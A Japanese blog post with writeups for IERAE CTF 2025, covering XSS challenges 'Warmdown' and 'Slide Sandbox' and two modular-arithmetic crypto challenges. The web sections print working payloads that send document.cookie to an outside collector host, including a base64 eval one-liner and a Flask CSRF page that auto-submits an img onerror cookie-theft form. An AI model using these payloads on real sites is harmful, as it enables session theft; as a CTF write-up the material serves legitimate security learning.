はまやんはまやんはまやん

hamayanhamayan's blog

IERAE CTF 2025 Writeups

[web] Warmdown

Warmdown = Warmup + Markdown

1st blood!

markdownを入れると変換してくれるサイトが与えられる。この問題に任意の入力を与えて、XSSしてcookieを抜き出すのがゴール。サイトの実装は以下。

import fastify from "fastify";
import * as marked from "marked";
import path from "node:path";

const app = fastify();

app.register(await import("@fastify/static"), {
  root: path.join(import.meta.dirname, "public"),
  prefix: "/",
});

const sanitize = (unsafe) => unsafe.replaceAll("<", "<").replaceAll(">", ">");

const escapeHtml = (str) =>
  str
    .replaceAll("&", "&amp;")
    .replaceAll("<", "&lt;")
    .replaceAll(">", "&gt;")
    .replaceAll('"', "&quot;")
    .replaceAll("'", "&#039;");

const unescapeHtml = (str) =>
  str
    .replaceAll("&amp;", "&")
    .replaceAll("&lt;", "<")
    .replaceAll("&gt;", ">")
    .replaceAll("&quot;", '"')
    .replaceAll("&#039;", "'");

app.get("/render", async (req, reply) => {
  const markdown = sanitize(String(req.query.markdown));
  if (markdown.length > 1024) {
    return reply.status(400).send("Too long");
  }

  const escaped = escapeHtml(marked.parse(markdown));
  const unescaped = unescapeHtml(escaped);

  return { escaped, unescaped };
});

app.listen({ port: 3000, host: "0.0.0.0" });

入力したmarkdownに対し、Sanitize関数によるサニタイズがあったあと、markedによる変換があって、escapeHtmlをして、unescapeHTMLしている。本番では深く考えず、とりあえず&lt;imgを投げてみると画面上消え、imgタグが作られていた。ダブルアンエスケープになっているようだ。(調べていないがmarked?)onerrorでアラートも動いたので後はやるだけ。変換で何かされるか考えるのを省くためにbase64エンコードしたものをデコードしてevalする方針で投げた。

fetch('https://fsjksafjksadjasdjkjk534.requestcatcher.com/test', { method : 'post', body: document.cookie })

こういうのをbase64エンコードして以下のように投げるとrequestcatcherにフラグが飛んでくる。

&lt;img src=x onerror=eval(atob("ZmV0Y2goJ2h0dHBzOi8vZnNqa3NhZmprc2FkamFzZGprams1MzQucmVxdWVzdGNhdGNoZXIuY29tL3Rlc3QnLCB7IG1ldGhvZCA6ICdwb3N0JywgYm9keTogZG9jdW1lbnQuY29va2llIH0p"));//

[web] Slide Sandbox

Create the ultimate slide puzzle.
Using the sandbox attribute makes it safe, right?

3rd blood!

3×3のスライドパズルを生成するサイトが与えられる。botも存在し、題名をフラグ名にしたスライドパズルを作成した後、指定のurlを踏んでくれる。XSSする問題。

パズルを表示するページが重要で以下のような実装になっている。

<body>
  <h1 class="title" id="title"></h1><br>
  <div class="game-area">
    <div class="puzzle-container" id="puzzle">
      <iframe id="frame0" sandbox="allow-same-origin"></iframe>
      <iframe id="frame1" sandbox="allow-same-origin"></iframe>
      <iframe id="frame2" sandbox="allow-same-origin"></iframe>
      <iframe id="frame3" sandbox="allow-same-origin"></iframe>
      <iframe id="frame4" sandbox="allow-same-origin"></iframe>
      <iframe id="frame5" sandbox="allow-same-origin"></iframe>
      <iframe id="frame6" sandbox="allow-same-origin"></iframe>
      <iframe id="frame7" sandbox="allow-same-origin"></iframe>
      <iframe id="frame8" sandbox="allow-same-origin"></iframe>
    </div>
    <div class="message">
      <a href="/">TOP</a>
    </div>
  </div>
</body>

<script>
  let pieces = Array();
  fetch('/puzzles/' + (new URLSearchParams(location.search)).get('id'))
    .then(r => r.json())
    .then(puzzle => {
      document.getElementById('title').innerText = puzzle.title;

      const ans = puzzle.answers.split('').sort(() => Math.random() - 0.5); // Sometimes the puzzles are impossible. Forgive please.      
      ans.forEach((v, i) => {
        pieces.push(document.createElement("div"));
      })
      pieces.push(document.createElement("div"))

      for (var i = 0; i < frames.length; i++) {
        frames[i].addEventListener("click", slide);
        frames[i].document.body.appendChild(pieces[i]);
      }

      ans.forEach((v, i) => {
        pieces[i].innerHTML = puzzle.template.replaceAll("{{v}}", v);
      })
    });

  function slide(e) {
    // ... [reducted] ...
  };
</script>

パズルのデータを持ってきて、各フレームにinnerHTMLで入れ込んでいる。innerHTMLで入れ込んでいて、入力に関しては自由に入れられるためXSSは簡単そうだが、埋め込み先のiframeがsandbox="allow-same-origin"となっているのでちゃんと動かない。さあ、どうするか。

1日目

allow-same-originだけが付いている状態でXS Leakとかできないか?CSSくらいしか使えそうなものが無いが...とか、{{v}}を変換する機能があるのでこれを効果的に使うのでは?とか、抜くのはCookieではなくIDとかフラグ直接か?みたいなことを考えていて終わった。

2日目

起きて改めて問題を眺める。とりあえず、sandbox付きのiframeに入れ込むと無理そうだなという観点から考えてみると、pazzleのanswerが怪しく見えてくる。answerはスライドパズルに配置する文字を8文字で指定する機能で、

サーバーサイドのjs側では

answers: { type: "string", minLength: 8, maxLength: 8 },

のようにバリデーションされる。クライアントサイドでは

 const ans = puzzle.answers.split('').sort(() => Math.random() - 0.5);
 ans.forEach((v, i) => {
   pieces.push(document.createElement("div"));
})
pieces.push(document.createElement("div"))

for (var i = 0; i < frames.length; i++) {
   frames[i].addEventListener("click", slide);
   frames[i].document.body.appendChild(pieces[i]);
}

ans.forEach((v, i) => {
   pieces[i].innerHTML = puzzle.template.replaceAll("{{v}}", v);
})

のようにsplitされてその個数+1分のdivを作って、iframeに置いてinnerHTMLで差し込みをしている。8個より多くに分割できるかもとアイデアが浮かび、ここまで来ればUnicodeでいけそうな雰囲気はしてくるのでガチャガチャやってみると、answerを123👨‍👨‍👦とすると9個全てのマスに文字を差し込むことができた!

ただのバグの可能性もあったが、かなりテンションが上がる。このanswerだとsplit後は11個になる。これで、9個のiframe全てにdivを埋め込ませることができ、2個は余らせることができる。でテンションそのままに画像ではhogeにしているが、これを<img src onerror=alert(origin)>にしてみると...

アラートが出ます。ちなみにですが、なぜこの余ったdivにimgタグを入れ込むと読み込まれてXSSが発火するのかはよく分かっていません。

Self XSS + CSRF

このままだとSelf XSSなので、CSRFを併用してbotに踏ませることでXSSを発火させる。payloadを見れば分かると思うが、注意点としてngrokのようにhttpsからhttpのPOSTを踏ませるとうまく動かない。(httpsからhttp://localhostは大丈夫だったので切り分けに苦しみました)httpでサイトをホストできる所を見つけて、以下のスクリプトのようにしてCSRFからのSelf XSSで、cookieを抜き取る。

from flask import Flask, request, jsonify
from flask_cors import CORS

app = Flask(__name__)
CORS(app)

TARGET = "http://web:3000/"
NGROK = "http://[redacted]:443/"

@app.route('/poc')
def poc():
    html = """
<form id="puzzleForm" method="post" action="{{TARGET}}create">
    <input type="text" id="new-title" name="title" value="なぜこれで動くかは分かっていません">
    <textarea id="new-template" name="template" rows="5">&lt;img src onerror&equals;fetch&lpar;&grave;{{NGROK}}flag&quest;&dollar;&lcub;document&period;cookie&rcub;&grave;&rpar;&gt;</textarea>
    <input type="text" id="new-answers" name="answers" value="123👨<200d>👨<200d>👦">
    <button type="submit" id="new-button">Submit</button>
</form>
<script>
    const sleep = ms => new Promise(r => setTimeout(r, ms));
    setTimeout(async () => {
      await sleep(10000);
      document.getElementById('puzzleForm').submit();
    }, 0);
</script>
    """
    html = html.replace('{{TARGET}}', TARGET)
    html = html.replace('{{NGROK}}', NGROK)
    return html

@app.route('/flag')
def receive_flag():
    print(request.args)
    return 'thx!', 200

if __name__ == "__main__":
    print("Server running at http://localhost:8000")
    app.run(host='0.0.0.0', port=8000, debug=True)

これで/flagcookieが抜けてきて、botのセッション情報が抜ける。あとは、それを使ってアクセスするとフラグが手に入る。

[crypto] Crypto Baby MSD

👶 < Guess the most significant digit!

以下のような流れの問題。

  1. 1060 から 10100 の範囲でランダムな秘密値を2000個生成し、その都度Mを入力、その余りを計算する
  2. 余りの最上位桁(1桁目)を集計し、どの数字が最も多く現れたかを予測する。失敗するとプログラムは終了
  3. これを100ステージ繰り返し、全てクリアするとフラグが得られる

問題コード

#!/usr/bin/env python3

from sys import exit
from random import randint

def stage():
  digit_counts = [0 for i in range(10)]

  for i in range(2000):
    secret = randint(10 ** 60, 10 ** 100)
    M = int(input("Enter mod: "))
    if M < 10 ** 30:
      print("Too small!")
      exit(1)

    msd = str(secret % M)[0]
    digit_counts[int(msd)] += 1

  choice = int(input("Which number (1~9) appeared the most? : "))
  for i in range(10):
    if digit_counts[choice] < digit_counts[i]:
      print("Failed :(")
      exit(1)

  print("OK")

def main():
  for i in range(100):
    print("==== Stage {} ====\n".format(i+1))
    stage()

  print("You did it!")
  with open("flag.txt", "r") as f:
    print(f.read())

if __name__ == '__main__':
  main()

どのような数が来ても、最上位の数字に偏りがあるような法が無いかを実験で探すとM = 2 × 1030でやると半数の最上位の数字を1にすることができた。これはmod Mの値を考えると、約半分が1 × 1030~2 × 1030-1になり、先頭が全部1になるためである。あとは、実装するだけ。

from ptrlib import *

#p = Process(["python3", "chal.py"])
p = remote("[redacted]", 12343)
M = 2 * (10**30)

for stage in range(100):
    print(f"Stage {stage + 1}")
    payload = (str(M) + "\n") * 2000
    p.send(payload.encode())
    p.sendlineafter(b"Which number (1~9) appeared the most? : ", b"1")

p.interactive()

[crypto] MSD

Guess the most significant digit!

前問とほぼ同じ問題だが、ステージ毎に使う秘密値は1つのみに変更される。

  1. 1060 から 10100 の範囲でランダムな秘密値を1個生成し、その秘密値に対して2000回Mを入力、その余りを計算する
  2. 余りの最上位桁(1桁目)を集計し、どの数字が最も多く現れたかを予測する。失敗するとプログラムは終了
  3. これを100ステージ繰り返し、全てクリアするとフラグが得られる

問題コード

#!/usr/bin/env python3

from sys import exit
from random import randint

def stage():
  digit_counts = [0 for i in range(10)]

  secret = randint(10 ** 60, 10 ** 100)

  for i in range(2000):
    M = int(input("Enter mod: "))
    if M < 10 ** 30:
      print("Too small!")
      exit(1)

    msd = str(secret % M)[0]
    digit_counts[int(msd)] += 1

  choice = int(input("Which number (1~9) appeared the most? : "))
  for i in range(10):
    if digit_counts[choice] < digit_counts[i]:
      print("Failed :(")
      exit(1)

  print("OK")

def main():
  for i in range(100):
    print("==== Stage {} ====\n".format(i+1))
    stage()

  print("You did it!")
  with open("flag.txt", "r") as f:
    print(f.read())

if __name__ == '__main__':
  main()

方針は前問と同じだが、M = 2 × 1030固定にするとたまたま外してしまうと失敗するステージが出てきてしまう。なので、M = 2 × 1030固定ではなくM = 2 × 1031M = 2 × 1032のような状況は同じであるが、異なる法を使うことで解決しよう。2000回の確認が可能だが、それを20グループに分け、M = 2 × 1030で100回、M = 2 × 1031で100回、M = 2 × 1032で100回みたいに聞いて、結果を集計する。

これなら、どれかの法で1ではない秘密値を引いてしまっても他の法では正しく判定ができ、総合すると安定して判定ができるようになる。ソルバーは以下。

from pwn import *

#r = process(["python3", "chal.py"])
r = remote("[redacted]", 18374)
N = 20

for stage in range(100):
    print(f"Stage {stage + 1}")
    payload = ""
    for i in range(N):
        payload += (str(2 * 10**(30 + i)) + "\n") * (2000 // N)
    r.send(payload.encode())
    r.sendlineafter(b"Which number (1~9) appeared the most? : ", b"1")

r.interactive()